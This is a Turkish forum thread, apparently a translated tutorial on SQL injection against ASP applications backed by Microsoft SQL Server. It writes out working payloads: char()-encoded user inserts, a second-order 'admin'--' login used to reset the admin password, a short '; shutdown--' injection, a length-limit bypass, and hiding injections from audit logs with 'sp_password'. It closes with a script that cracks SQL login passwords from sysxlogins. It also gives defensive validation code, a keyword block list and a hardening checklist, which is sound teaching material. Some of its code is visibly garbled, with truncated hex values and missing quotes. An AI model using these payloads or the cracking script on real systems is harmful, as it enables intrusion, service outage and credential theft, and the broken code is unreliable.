function escape( input ) input = replace(input, ’, ’’) escape = input end function Acikca soyluyelim bu komut bizim ornek sitemizde yani yukarida anlattigimiz butun saldiri yontemlerinin onun keser. Birde ‘.’ Karakteri kaldiirlirsa bu daha cok yardimci olur engellemeye. Ama daha buyuk bir applicationda, kullanicinin girdi yapmasi gereken bazi degerler sayi seklinde olmalidir. Bu degerler bir limitleme(ornegin “.”, “—“ gibi) gerektirmeden saldirganin SQL i iceriye sizdirmasini saglayacaktir. Eger saldirgan tirnak isaretlerini kullanmadan bir string degeri olusturmaya calisirsa, ornekteki gibi bir ‘char’ fonksiyonunu kullanabilirler; insert into users values( 666, char(0x63)+char(0x6+char(0x72)+char(0x69)+char(0x7 3), char(0x63)+char(0x6+char(0x72)+char(0x69)+char(0x7 3), 0xffff) Eger saldirgan kullanici adini ve passwordu sayisal olarak kullanmakta bir sakinca gormezse, asagidaki kodda yukaridakiyle ayni islevi gorur; insert into users values( 667, 123, 123, 0xffff) SQL serveri otomatik olarak tam sayilari ‘varcar’ degerlerine cevirdiginden dolayi, bu cevirim tamamlanir ve tamdir. Ikinci sira SQL enjeksiyonu; Eger bir application , tek tirnak isarete methodundan kurtulsa bile, database deki bilgileri tekrar tekrar kullandigi surece, saldirgan SQL enjekte edebilir; Ornegin saldirgan bir kullanici ismi ve password kullanarak giris yapabilir; Username: admin’-- Password: password Application tek tirnak isareti tekniginden saglam bir sekildi siyrilir ve boyle bir ‘insert’ cumlesi ortaya cikartir; insert into users values( 123, ’admin’’--’, ’password’, 0xffff ) Diyelimki application bir kullanciya sifresini degistirme imkani verir. Ve ASP dizini kullaniciya yeni passwordu olusturmasi icin eskisini yazmasini sorar ve bununda kodu budur: username = escape( Request.form(username) ); oldpassword = escape( Request.form(oldpassword) ); newpassword = escape( Request.form(newpassword) ); var rso = Server.CreateObject(ADODB.Recordset); var sql = select * from users where username = ’ + username + ’ and password = ’ + oldpassword + ’; rso.open( sql, cn ); if (rso.EOF) { … Yeni sifreyi koymak icin su komut kullanilir; sql = update users set password = ’ + newpassword + ’ where username = ’ + rso(username) + ’ rso(username), login sorgusundan alinan username le aynidir; ‘admin’ kullanici adini vererek, sorgu bunu yaratir; update users set password = ’password’ where username = ’admin’--’ Saldirgan admin olarak basvuru yaptigindan bu noktadan sonra kendi istegine gore bir sife koyabilir. Gonderilen datalardan kacmaya calisarak korunmak ozellikle buyuk application lar icin cok buyuk bir promlemdir. En iyi cozum kotu girdi leri degistirmeye calismaktansa, direk silmektir. Elbette buda degisik promlemlere sebebiyet verebilir ama mesela bir kullanici isminin arasina tirnak isareti koymak isteyebilir ama bu elbette ki bizim yontemin kullanilmasina bir kapi aralayacaktir. Bunun icin yapilabilecek en iyi sey tirnak isareti kullanimina site icinde izin vermemektir. Eger bu yapilamazma SQL sorgu dizinine giden butun bilgilerin dogrulugu kontrol edilmeli ona gore islenmelidir. Bu tur saldirilar, saldirganin, application i kullanmadan bir sekilde bilgileri sisteme bilgileri sokmasiylada olur. Application da saldirganin uzerinde kontrol saglayabilecegi bir e mail arabirimi veya bir hata sayfasi bulunabilir. Butun elde edilen bigilerin dogrulugunu kontrol etmek gercekten cok cok onemlidir. Bunu deneyebilirsiniz; if ( not isValid( email, request.querystring(email) ) then response.end veya buna benzer bi seyler olabilir. Uzunluk Limitleri; Saldirilari daha zor hale getirmek icin bazen girdi data sinin uzunlugu limitlendirilir, bu bazi saldirilari durdurmaya yarasa bile SQL cok kisa komutlarla yine bunu basarir; Username: ’;shutdown-- Bu sadece 12 harf kullanarak bir SQL serverini kapatir. Diger bir ornek drop table <tablename> Bu limitleme olayida bazi problemlere yol acar, diyelimki kullanici ismi 16 harfle sinirlandirildi. Ve ayni zamanda sifrede 16 karakterle sinirlandirildi, yukarida yaptigimiz sistemi kapatma islemini bu komutla tekra yapabiliriz. Username: aaaaaaaaaaaaaaa’ Password: ’; shutdown-- Bunun olmasinin sebebi application username in sonundaki tirnak isaretinden kurtulmaya calisir ama bunu yaparsadan isim 16 karakterden kisa olmus olur. Kesin sonuc sudurki passwordun yazildigi yer eger bir tirnak isaretiyle baslarsa bir SQL kodu yazilabilir bakiniz; select * from users where username=’aaaaaaaaaaaaaaa’’ and password=’’’; shutdown— ve sorgudaki kullanici ismi su sekli alir; aaaaaaaaaaaaaaa’ and password=’ ve boylece komut calisir. Denetlemeden kurtulma; SQL serverinin xp_traceXXX aile fonksiyonlarinda bir ck denektlemeden kurtulma yontemleri vardir. Bunlar databaselerin farkli yerlerine ulasimi saglar. Ilgilenenler icin T-SQL eventleri sunuyoruz. Bunlar serverda hazirlanan butun SQL kodlarinin log yapmasini baglantiya gecmesin saglar. Eger denetleme olayi aktif hale getirilirse, yetenekli bir admin ne oldugunu anlar.Maalesef eger saldirgan bunu yaparsa; sp_password bunu bir Transact-SQL a koyarsa, bu denetleme mekanizmasi asagidakini verir; -- ’sp_password’ was found in the text of this event. -- The text has been replaced with this comment for security reasons. Bu yuzden eger saldirgan butun SQL enjeksiyonlarini saklamak isterse sp_password den once ‘—‘ yazmasi gerekir. Username: admin’--sp_password
__________________
[T][S][H]
|
|
|
|
|
|
#7 (permalink) |
|
Teğmen
![]() Üyelik tarihi: Feb 2007
Mesajlar: 65
|
Bu teknikte SQL database e kaydedilecek ama sorgu dizinlerinin hic biri gozukmeyecektir.
Bu bolum tanimlanan saldirilar icin savunma yontemlerinin tartisir. Girdi onaylari ve sistem kapatma olaylarida tartisilir. Girdi (input)onayi: Bu biraz karisik bir konudur. Bu cozulmesi zor bir konu oldugundan tipik olarak cok fazla kisi buna ozen gostermez. Asagidaki ornek kodlarla bu teknigi anlatan kisi bir bilgilendirmedir. Bilgi onayina farkli yaklasimlar su sekilde siralanabilir; bilgiyi kisaltmaya caliski onay alasin calismaz veya kotu olarak bilinen input lari geri cevir veya sil. sadece saglam olan input lari al. 1. cozum; siteyi gelistiren kisi genelde hangisini kotu veyada ise yaramaz bilgi oldugunu bilmez. Cunku devamli ise yaramaz bilgiler cogalir uretilir dolayisiyla takip etmek zordur. Edinillen bilgiyi kisaltma olayi kolay bile olsa bu konuya deginmistik buda degisik sorunlara sebeb olabilir. 2. cozum; bu cozum de yukarida bahsettigimiz promlerden sikayetci bir cozum yoludur. Yani kotu komutlar hep gelisir ve yeni saldiri methodlari gelisir. 3. cozum; bu ucu arasinda en iyisi budur. Ama uygulamasi zordur. Guvenlik perspektifinden bakildiginda en iyi cozum ikiyle ucun karisimindan elde edilenidir. Sadece iyi ve calisan inputlari kullan kotulerinide ogren… Ikisini combine etmemizin gerekligini anlatan en iyi ornek asagidaki gibi iki ayni soyadi tasiyani birisinin durumudur; Quentin Bassington-Bassington Bu durumda iki soyadini iyi input olarak almali, ama ‘-‘ karakterinede dikkat etmeliyiz. Diger bir sorunun eldeki bilgiyi kisaltma surecinde olabilir. Eger ‘—‘ karakterini kotu komut input olarak kabul edersek, butun tirnak isaretleri ve bu karakter silinir ama saldirgan bir diger yontem kullanabilir. uni’on sel’ect @@version-’- Simdide bir kac ornek onay kodlarini verelim; Deneme 1: tek tirnak isaretlerinden kurtul; function escape( input ) input = replace(input, ’, ’’) escape = input end function Deneme 2; Bilinen kotu komutlari geri cevirme; function validate_string( input ) known_bad = array( select, insert, update, delete, drop, --, ’ ) validate_string = true for i = lbound( known_bad ) to ubound( known_bad ) if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then validate_string = false exit function end if next end function Deneme 3: Sadece iyi inputlara izin ver; function validatepassword( input ) good_password_chars = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789 validatepassword = true for i = 1 to len( input ) c = mid( input, i, 1 ) if ( InStr( good_password_chars, c ) = 0 ) then validatepassword = false exit function end if next end function SQL Server Kilitlenmesi; Buraki bilmemiz gereken en onemli sey SQL serverinin kilitli olmasi gerekir. Eger degili bu hic guvenli degildir. Burada kisa bir yapilmasi gerekenler listesi veriyoruz bir SQL server yapilanmasi icin. 1. Server a baglanti methodlarini belirleyin. a. Network utility i kullanarak sadece sizing kullandiginiz network kutuphanelerinin active oldugunu garantileyin. 2. Hangi hesaplarin (accountlarin) oldugunu bulun; a. Application lar tarafindan kullanilmak uzere dusuk ozellikli kullanicilar yaratin. b. Gereksiz hesaplari silin. c. Butun accountlarin guclu sifreleri oldugundan emin olur. Bu dosyada verilen bir password denetleme scritp i calistirabilirsiniz. 3. Ne tur objelerin oldugunu bulun. a. bi cok genisletilmis depo yontemleri guvenli bir sekilde yokedilebilir. Eger bu yapilirsa ‘.dll’ dosyasini da silmeyi dusunun onun icindeden bu yontemlerden var. b. butun ornek database leri silin. 4. Hangi hesabin hangi objelere ulasabilecegini bulun. a. Application in database e ulasmak icin kullandigi hesabin sadece ulasmasi gereken yere kadar ulasacak kadar limitinin ve izninin bulundigunu bilin. 5. Serverin (patch) yama derecesini bilin a. SQL serverina karsi bir kac buffer overflow ve format string saldirilari vardir. 6. Nelerin log yapilacagini bulun ve bunlarla neler yapacaginiza karar verin. Referanslar; [1] Web Application Disassembly with ODBC Error Messages, David Litchfield [Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] [2] SQL Server Security Checklist [Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] [3] SQL Server 2000 Extended Stored Procedure Vulnerability [Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] [4] Microsoft SQL Server Extended Stored Procedure Vulnerability [Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] [5] Multiple Buffer Format String Vulnerabilities In SQL Server [Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] [Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] Dizin: A ‘SQLCrack’ Bu; yazar tarafinda gelistirilen sifre crack dizisini kullanmak icin master..sysxlogins olan kullanicinin sifresinin yazdigi alana girmeniz lazim. Bu elbette saldirganlarin bir isine yaramaz ama kullanimda olan sifrelerin kalitesini yukseltmek isteyen adminler icin bir bilgi kaynagidir. Dizini kullanabilmek icin, patch i password dosyasi da ’c: emppasswords.txt’ in icindeki ‘bulk insert’ yerine yerlestirin. Burda her ne kadar veremesekte password dosyasini internette bulabilirsiniz. Ama bir ornek verebiliriz. Bu ornek butun ‘joe’ hesaplarini, usernameleriyle sifreleri ayni olan kullanicilari ve sifreleri olamayanlari bulacaktir. password sqlserver sql admin sesame sa guest Iste buda dizin (script): (sqlcrack.sql) create table tempdb..passwords( pwd varchar(255) ) bulk insert tempdb..passwords from ’c: emppasswords.txt’ select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0 drop table tempdb..passwords
__________________
[T][S][H]
|
|
|
|
![]() |
| Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir) | |
| Seçenekler | |
| Stil | |
|
|